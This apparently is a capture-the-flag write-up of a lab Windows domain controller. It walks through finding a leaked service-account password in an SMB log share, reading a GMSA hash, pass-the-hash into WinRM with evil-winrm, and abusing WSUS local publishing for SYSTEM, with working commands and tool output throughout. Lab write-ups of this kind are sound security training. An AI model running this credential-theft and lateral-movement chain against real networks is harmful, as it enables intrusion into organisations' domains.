[ writeup · case #004 ]
Logging
A known low-privilege domain user (wallace.everette) has SMB access to a world-readable Logs share, whose IdentitySync trace leaks the svc_recovery service-account password. svc_recovery is permitted to read the GMSA password of msa_health$; its NTLM hash gives a WinRM shell and the user flag.…
Summary
Enumeration
Port Scan
rustscan --range 1-65535 -a <target> -- -APORT STATE SERVICE REASON VERSION
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
Open [REDACTED:IP]:445
Open [REDACTED:IP]:464
Open [REDACTED:IP]:593
Open [REDACTED:IP]:636
Open [REDACTED:IP]:3269
Open [REDACTED:IP]:3268
Open [REDACTED:IP]:5985
Open [REDACTED:IP]:8531
Open [REDACTED:IP]:8530
Open [REDACTED:IP]:9389
Open [REDACTED:IP]:47001
Open [REDACTED:IP]:49664
Open [REDACTED:IP]:49666
Open [REDACTED:IP]:49665
Open [REDACTED:IP]:49667
Open [REDACTED:IP]:49671
Open [REDACTED:IP]:49686
Open [REDACTED:IP]:49690
Open [REDACTED:IP]:49687
Open [REDACTED:IP]:49691
Open [REDACTED:IP]:49712
Open [REDACTED:IP]:49718
Open [REDACTED:IP]:49744
Open [REDACTED:IP]:49776
Key findings:
445/smb,389/636 ldap,5985 winrm,9389 adws— a Windows Server 2019 domain controller,DC01.logging.htb.8530/8531— WSUS (Windows Server Update Services). This is the eventual root vector.- The provided
wallace.everettecredentials authenticate over SMB/LDAP.
Domain auth check
❯ nxc smb [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]'
SMB [REDACTED:IP] 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB [REDACTED:IP] 445 DC01 [+] logging.htb\wallace.everette:[REDACTED:CRED]
❯ nxc ldap [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]'
LDAP [REDACTED:IP] 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never)
LDAP [REDACTED:IP] 389 DC01 [+] logging.htb\wallace.everette:[REDACTED:CRED]
❯ nxc winrm [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]'
WINRM [REDACTED:IP] 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb)
WINRM [REDACTED:IP] 5985 DC01 [-] logging.htb\wallace.everette:[REDACTED:CRED]
wallace.everette has SMB/LDAP but not WinRM — so this is a stepping stone, not a shell.
SMB shares
❯ nxc smb [REDACTED:IP] -u wallace.everette -p '[REDACTED:CRED]' --shares
SMB [REDACTED:IP] 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB [REDACTED:IP] 445 DC01 [+] logging.htb\wallace.everette:[REDACTED:CRED]
SMB [REDACTED:IP] 445 DC01 [*] Enumerated shares
SMB [REDACTED:IP] 445 DC01 Share Permissions Remark
SMB [REDACTED:IP] 445 DC01 ----- ----------- ------
SMB [REDACTED:IP] 445 DC01 ADMIN$ Remote Admin
SMB [REDACTED:IP] 445 DC01 C$ Default share
SMB [REDACTED:IP] 445 DC01 IPC$ READ Remote IPC
SMB [REDACTED:IP] 445 DC01 Logs READ
SMB [REDACTED:IP] 445 DC01 NETLOGON READ Logon server share
SMB [REDACTED:IP] 445 DC01 SYSVOL READ Logon server share
SMB [REDACTED:IP] 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
A non-default Logs share is readable, and WSUSTemp confirms the WSUS local-publishing setup.
Foothold — credentials from the Logs share
❯ smbclient \\\\[REDACTED:IP]\\Logs\\ -U 'wallace.everette'%'[REDACTED:CRED]'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 16 23:10:09 2026
.. D 0 Thu Apr 16 23:10:09 2026
Audit_Heartbeat.log A 1294 Thu Apr 16 23:10:09 2026
IdentitySync_Trace_20260219.log A 8488 Thu Apr 16 23:10:09 2026
Service_State.log A 468 Thu Apr 16 23:10:09 2026
TaskMonitor.log A 1170 Thu Apr 16 23:10:09 2026IdentitySync_Trace_20260219.log embeds a service-account bind credential in plaintext:
BindUser: "LOGGING\svc_recovery", BindPass: "[REDACTED:CRED]" User — GMSA read → msa_health$
Request a Kerberos TGT as svc_recovery and map the domain with BloodHound:
❯ fkt impacket-getTGT 'logging.htb/svc_recovery:[REDACTED:CRED]' -dc-ip [REDACTED:IP]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_recovery.ccache
❯ export KRB5CCNAME=svc_recovery.ccache❯ fkt bloodhound-python -d 'logging.htb' -u 'svc_recovery' -p '[REDACTED:CRED]' -c All -ns '[REDACTED:IP]' -k --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: logging.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.logging.htbsvc_recovery is listed under PrincipalsAllowedToReadPassword for the group-managed service account msa_health$, so its managed password (and NTLM hash) can be read directly:
❯ KRB5CCNAME=/home/light/htb/machines/logging/svc_recovery.ccache fkt nxc ldap DC01.logging.htb -d logging.htb -u svc_recovery -p '[REDACTED:CRED]' -k --gmsa
LDAP DC01.logging.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never)
LDAP DC01.logging.htb 389 DC01 [+] logging.htb\svc_recovery:[REDACTED:CRED]
LDAP DC01.logging.htb 389 DC01 [*] Getting GMSA Passwords
LDAP DC01.logging.htb 389 DC01 Account: msa_health$ NTLM: [REDACTED:HASH] PrincipalsAllowedToReadPassword: svc_recovery Pass-the-hash into a WinRM shell as msa_health$ and read user.txt:
❯ evil-winrm -i logging.htb -u 'msa_health$' -H [REDACTED:HASH]
*Evil-WinRM* PS /home/light$> whoami
logging\msa_health$
Privilege Escalation → Root — WSUS local publishing
msa_health$ runs in the WSUS publishing context exposed on 8530/8531 (WSUSTemp share, C:\ProgramData\UpdateMonitor\). Staging a signing certificate and a package there, then approving it as a locally-published update, makes WSUS execute an attacker-supplied command as SYSTEM:
upload /tmp/req.csr C:\ProgramData\UpdateMonitor\req.csr
upload /tmp/Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip
openssl pkcs12 -in wsus_srv.pfx -out wsus_srv_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus_srv.pfx -out wsus_srv_key.pem -nocerts -nodes -passin pass:Key Takeaways
- Log/share hygiene matters: a readable
Logsshare with a plaintext service-account credential was the entire foothold. PrincipalsAllowedToReadPasswordon a GMSA is a direct, hash-yielding privilege path — always check it in BloodHound.- WSUS local publishing under a reachable service account is a SYSTEM-level code-execution primitive.